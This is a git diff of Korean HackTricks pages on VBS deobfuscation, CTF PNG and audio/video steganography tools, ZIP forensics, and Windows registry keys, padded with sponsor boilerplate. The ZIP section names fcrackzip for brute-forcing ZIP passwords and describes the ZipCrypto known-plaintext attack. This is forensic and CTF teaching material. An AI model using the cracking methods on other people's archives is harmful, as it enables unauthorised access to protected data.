<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
악성 VBS 파일을 디버그/해독하는 데 유용할 수 있는 몇 가지 사항:
|
||||
악의적인 VBS 파일을 디버그/해독하는 데 유용할 수 있는 몇 가지 방법:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
|
@ -23,41 +23,11 @@ Wscript.Echo "Like this?"
|
|||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## 테스트
|
||||
## 시험
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## 파일에 데이터 작성하기
|
||||
|
||||
To write data to a file in Python, you can use the `write()` method of the file object. Here is an example:
|
||||
|
||||
```python
|
||||
# 파일 열기
|
||||
file = open("filename.txt", "w")
|
||||
|
||||
# 데이터 작성
|
||||
file.write("Hello, World!")
|
||||
|
||||
# 파일 닫기
|
||||
file.close()
|
||||
```
|
||||
|
||||
위의 예시에서는 Python의 파일 객체의 `write()` 메서드를 사용하여 파일에 데이터를 작성합니다.
|
||||
|
||||
```python
|
||||
# 파일 열기
|
||||
file = open("filename.txt", "w")
|
||||
|
||||
# 데이터 작성
|
||||
file.write("안녕하세요, 세상!")
|
||||
|
||||
# 파일 닫기
|
||||
file.close()
|
||||
```
|
||||
|
||||
In this example, we open the file named "filename.txt" in write mode (`"w"`), write the string "Hello, World!" to the file, and then close the file.
|
||||
|
||||
위의 예시에서는 "filename.txt"라는 파일을 쓰기 모드(`"w"`)로 열고, 문자열 "안녕하세요, 세상!"을 파일에 작성한 후 파일을 닫습니다.
|
||||
## 파일에 데이터 작성
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
|
@ -82,16 +52,17 @@ End With
|
|||
|
||||
End Function
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,7 @@
|
|||
<details>
|
||||
{% hint style="success" %}
|
||||
**PNG 파일**은 **CTF 챌린지**에서 **무손실 압축**으로 인해 높이 평가되며, 숨겨진 데이터를 포함하기에 이상적입니다. **Wireshark**와 같은 도구는 네트워크 패킷 내에서 PNG 파일의 데이터를 해석하여 포함된 정보나 이상을 드러내는 데 도움이 됩니다.
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
PNG 파일 무결성을 확인하고 손상을 복구하기 위해 **pngcheck**는 중요한 도구로, PNG 파일을 유효성 검사하고 진단하는 명령줄 기능을 제공합니다 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). 파일이 간단한 수정을 넘어선 경우, [OfficeRecovery의 PixRecovery](https://online.officerecovery.com/pixrecovery/)와 같은 온라인 서비스는 **손상된 PNG 복구**를 위한 웹 기반 솔루션을 제공하여 CTF 참가자들에게 중요한 데이터를 복구하는 데 도움이 됩니다.
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**PNG 파일**은 **CTF 도전과제**에서 **무손실 압축**으로 인해 높이 평가되며, 숨겨진 데이터를 포함하기에 이상적입니다. **Wireshark**와 같은 도구를 사용하여 PNG 파일을 분석하면 네트워크 패킷 내의 데이터를 해체하여 포함된 정보나 이상점을 확인할 수 있습니다.
|
||||
|
||||
PNG 파일의 무결성을 확인하고 손상을 복구하기 위해 **pngcheck**는 핵심 도구로, PNG 파일을 유효성 검사하고 진단하는 명령줄 기능을 제공합니다 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). 파일이 간단한 수정을 넘어선 경우, [OfficeRecovery의 PixRecovery](https://online.officerecovery.com/pixrecovery/)와 같은 온라인 서비스는 손상된 PNG 파일을 복구하여 CTF 참가자들에게 중요한 데이터를 회복하는 데 도움을 줍니다.
|
||||
|
||||
이러한 전략은 CTF에서 숨겨진 또는 손실된 데이터를 발견하고 복구하기 위해 분석 도구와 복구 기술을 조합한 포괄적인 접근의 중요성을 강조합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
이러한 전략은 CTF에서 종합적인 접근 방식의 중요성을 강조하며, 분석 도구와 복구 기술을 결합하여 숨겨진 데이터를 발견하고 복구하는 데 도움이 됩니다.
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,14 @@
|
|||
<details>
|
||||
{% hint style="success" %}
|
||||
**오디오 및 비디오 파일 조작**은 **CTF 포렌식 도전 과제**에서 핵심 요소로, **스테가노그래피** 및 메타데이터 분석을 활용하여 비밀 메시지를 숨기거나 드러내는 데 사용됩니다. **[mediainfo](https://mediaarea.net/en/MediaInfo)** 및 **`exiftool`**과 같은 도구는 파일 메타데이터를 검사하고 콘텐츠 유형을 식별하는 데 필수적입니다.
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
오디오 도전 과제의 경우 **[Audacity](http://www.audacityteam.org/)**는 오디오에 인코딩된 텍스트를 발견하는 데 필수적인 파형 및 스펙트로그램 분석을 위한 주요 도구로 두드러집니다. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**는 자세한 스펙트로그램 분석을 위해 강력히 추천됩니다. **Audacity**는 숨겨진 메시지를 감지하기 위해 트랙을 감속하거나 반전하는 등의 오디오 조작을 허용합니다. **[Sox](http://sox.sourceforge.net/)**는 오디오 파일의 변환 및 편집에 뛰어난 명령줄 유틸리티입니다.
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
**최하위 비트 (LSB)** 조작은 오디오 및 비디오 스테가노그래피에서 흔한 기술로, 미디어 파일의 고정 크기 청크를 이용하여 데이터를 비밀리에 삽입합니다. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**는 **DTMF 톤** 또는 **모스 부호**로 숨겨진 메시지를 해독하는 데 유용합니다.
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
비디오 도전 과제는 오디오 및 비디오 스트림을 번들로 제공하는 컨테이너 형식을 자주 포함합니다. **[FFmpeg](http://ffmpeg.org/)**는 이러한 형식을 분석하고 조작하는 데 사용되며, 디멀티플렉싱 및 콘텐츠 재생이 가능합니다. 개발자를 위해 **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**는 Python으로 FFmpeg의 기능을 통합하여 고급 스크립트 상호작용을 제공합니다.
|
||||
|
||||
</details>
|
||||
|
||||
**오디오 및 비디오 파일 조작**은 **CTF 포렌식 도전과제**에서 흔히 사용되며, **스테가노그래피**와 메타데이터 분석을 활용하여 비밀 메시지를 숨기거나 드러내는 데 사용됩니다. **[mediainfo](https://mediaarea.net/en/MediaInfo)**와 **`exiftool`**과 같은 도구는 파일 메타데이터를 검사하고 콘텐츠 유형을 식별하는 데 필수적입니다.
|
||||
|
||||
오디오 도전과제의 경우, 텍스트를 오디오에 인코딩하는 데 필수적인 파형 및 스펙트로그램을 보는 데 주로 사용되는 주요 도구인 **[Audacity](http://www.audacityteam.org/)**가 돋보입니다. 자세한 스펙트로그램 분석을 위해 **[Sonic Visualiser](http://www.sonicvisualiser.org/)**를 강력히 추천합니다. **Audacity**는 음성 메시지를 감지하기 위해 트랙을 감속하거나 반전하는 등의 오디오 조작을 허용합니다. 오디오 파일의 변환 및 편집에는 명령 줄 유틸리티인 **[Sox](http://sox.sourceforge.net/)**가 뛰어납니다.
|
||||
|
||||
**최하위 비트 (LSB)** 조작은 오디오 및 비디오 스테가노그래피에서 흔히 사용되는 기술로, 미디어 파일의 고정 크기 청크를 이용하여 데이터를 은밀하게 포함시킵니다. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**는 **DTMF 톤**이나 **모스 부호**로 숨겨진 메시지를 해독하는 데 유용합니다.
|
||||
|
||||
비디오 도전과제는 종종 오디오 및 비디오 스트림을 번들로 포함하는 컨테이너 형식을 포함합니다. **[FFmpeg](http://ffmpeg.org/)**는 이러한 형식을 분석하고 조작하는 데 가장 많이 사용되며, 다중화 및 콘텐츠 재생이 가능합니다. 개발자를 위해 **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**는 Python에서 FFmpeg의 기능을 고급 스크립트 상호작용을 위해 통합합니다.
|
||||
|
||||
이러한 도구들의 다양성은 CTF 도전과제에서 요구되는 다양한 분석 및 조작 기술을 활용하여 오디오 및 비디오 파일 내에 숨겨진 데이터를 발견해야 하는 능력을 강조합니다.
|
||||
이러한 도구 집합은 CTF 도전 과제에서 필요한 다양성을 강조하며, 참가자들은 오디오 및 비디오 파일 내에 숨겨진 데이터를 발견하기 위해 다양한 분석 및 조작 기술을 사용해야 합니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,46 @@
|
|||
# ZIP 트릭
|
||||
# ZIPs 트릭
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**ZIP 파일**을 관리하기 위한 **명령 줄 도구**는 ZIP 파일의 진단, 복구 및 크랙에 필수적입니다. 다음은 몇 가지 주요 유틸리티입니다:
|
||||
**명령줄 도구**를 사용하여 **zip 파일**을 관리하는 것은 zip 파일의 진단, 복구 및 해독에 필수적입니다. 다음은 몇 가지 주요 유틸리티입니다:
|
||||
|
||||
- **`unzip`**: ZIP 파일이 압축 해제되지 않을 수 있는 이유를 알려줍니다.
|
||||
- **`zipdetails -v`**: ZIP 파일 형식 필드에 대한 자세한 분석을 제공합니다.
|
||||
- **`zipinfo`**: ZIP 파일의 내용을 추출하지 않고 목록으로 표시합니다.
|
||||
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 ZIP 파일을 복구하려고 시도합니다.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: ZIP 비밀번호의 브루트 포스 크랙을 위한 도구로, 약 7자리까지의 비밀번호에 효과적입니다.
|
||||
- **`unzip`**: zip 파일이 압축 해제되지 않는 이유를 밝혀줍니다.
|
||||
- **`zipdetails -v`**: zip 파일 형식 필드의 상세 분석을 제공합니다.
|
||||
- **`zipinfo`**: zip 파일의 내용을 추출하지 않고 나열합니다.
|
||||
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 zip 파일을 복구하려고 시도합니다.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip 암호를 무력화하는 브루트 포스 크래킹 도구로, 약 7자 이내의 암호에 효과적입니다.
|
||||
|
||||
[ZIP 파일 형식 사양](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)은 ZIP 파일의 구조와 표준에 대한 포괄적인 세부 정보를 제공합니다.
|
||||
[Zip 파일 형식 명세](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)는 zip 파일의 구조 및 표준에 대한 포괄적인 세부 정보를 제공합니다.
|
||||
|
||||
암호로 보호된 ZIP 파일은 내부의 파일 이름이나 파일 크기를 **암호화하지 않는다는 점**을 꼭 기억해야 합니다. 이는 RAR 또는 7z 파일과는 달리 이 정보를 암호화하지 않는 보안 결함입니다. 또한, 이전의 ZipCrypto 방법으로 암호화된 ZIP 파일은 압축 파일의 암호화되지 않은 복사본이 있는 경우 **평문 공격**에 취약합니다. 이 공격은 알려진 내용을 활용하여 ZIP의 비밀번호를 크랙하는 것으로, [HackThis의 기사](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)에서 자세히 설명되었으며, [이 학술 논문](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf)에서 더 자세히 설명되었습니다. 그러나 **AES-256** 암호화로 보호된 ZIP 파일은 이 평문 공격에 면역이므로, 민감한 데이터에 대해 안전한 암호화 방법을 선택하는 것의 중요성을 보여줍니다.
|
||||
암호로 보호된 zip 파일은 내부의 파일 이름이나 파일 크기를 **암호화하지 않는다는 점**을 주목해야 합니다. 이는 RAR 또는 7z 파일과 공유되지 않는 보안 결함입니다. 또한, 이전 ZipCrypto 방법으로 암호화된 zip 파일은 압축 파일의 암호가 해독되지 않은 복사본이 있는 경우 **평문 공격**에 취약합니다. 이 공격은 알려진 콘텐츠를 활용하여 zip 파일의 암호를 크래킹하는데 사용되며, 이 취약점은 [HackThis의 기사](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)에서 자세히 설명되어 있으며, [이 학술 논문](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf)에서 더 자세히 설명되어 있습니다. 그러나 **AES-256** 암호화로 보호된 zip 파일은 이 평문 공격에 면역이며, 민감한 데이터에 대해 안전한 암호화 방법을 선택하는 중요성을 보여줍니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
### 흥미로운 Windows 레지스트리 키
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% endhint %}
|
||||
|
||||
### **Windows 버전 및 소유자 정보**
|
||||
- **`Software\Microsoft\Windows NT\CurrentVersion`**에 위치한 Windows 버전, 서비스 팩, 설치 시간 및 등록된 소유자 이름을 간단하게 찾을 수 있습니다.
|
||||
- **`Software\Microsoft\Windows NT\CurrentVersion`**에 위치한 이곳에서 Windows 버전, 서비스 팩, 설치 시간 및 등록된 소유자 이름을 간단하게 찾을 수 있습니다.
|
||||
|
||||
### **컴퓨터 이름**
|
||||
- 호스트 이름은 **`System\ControlSet001\Control\ComputerName\ComputerName`** 아래에서 찾을 수 있습니다.
|
||||
|
@ -27,48 +27,48 @@ HackTricks를 지원하는 다른 방법:
|
|||
- 시스템의 시간대는 **`System\ControlSet001\Control\TimeZoneInformation`**에 저장됩니다.
|
||||
|
||||
### **접근 시간 추적**
|
||||
- 기본적으로 마지막 접근 시간 추적은 꺼져 있습니다 (**`NtfsDisableLastAccessUpdate=1`**). 활성화하려면 다음을 사용하세요:
|
||||
- 기본적으로 마지막 접근 시간 추적은 꺼져 있습니다 (**`NtfsDisableLastAccessUpdate=1`**). 이를 활성화하려면 다음을 사용하세요:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows 버전 및 서비스 팩
|
||||
- **Windows 버전**은 에디션 (예: Home, Pro) 및 릴리스 (예: Windows 10, Windows 11)를 나타내며, **서비스 팩**은 수정 사항과 때로는 새로운 기능을 포함한 업데이트입니다.
|
||||
- **Windows 버전**은 에디션 (예: 홈, 프로) 및 릴리스 (예: Windows 10, Windows 11)을 나타내며, **서비스 팩**은 수정 사항과 때로는 새로운 기능을 포함하는 업데이트입니다.
|
||||
|
||||
### 마지막 접근 시간 활성화
|
||||
- 마지막 접근 시간 추적을 활성화하면 파일이 마지막으로 열린 시간을 확인할 수 있으며, 이는 포렌식 분석이나 시스템 모니터링에 중요할 수 있습니다.
|
||||
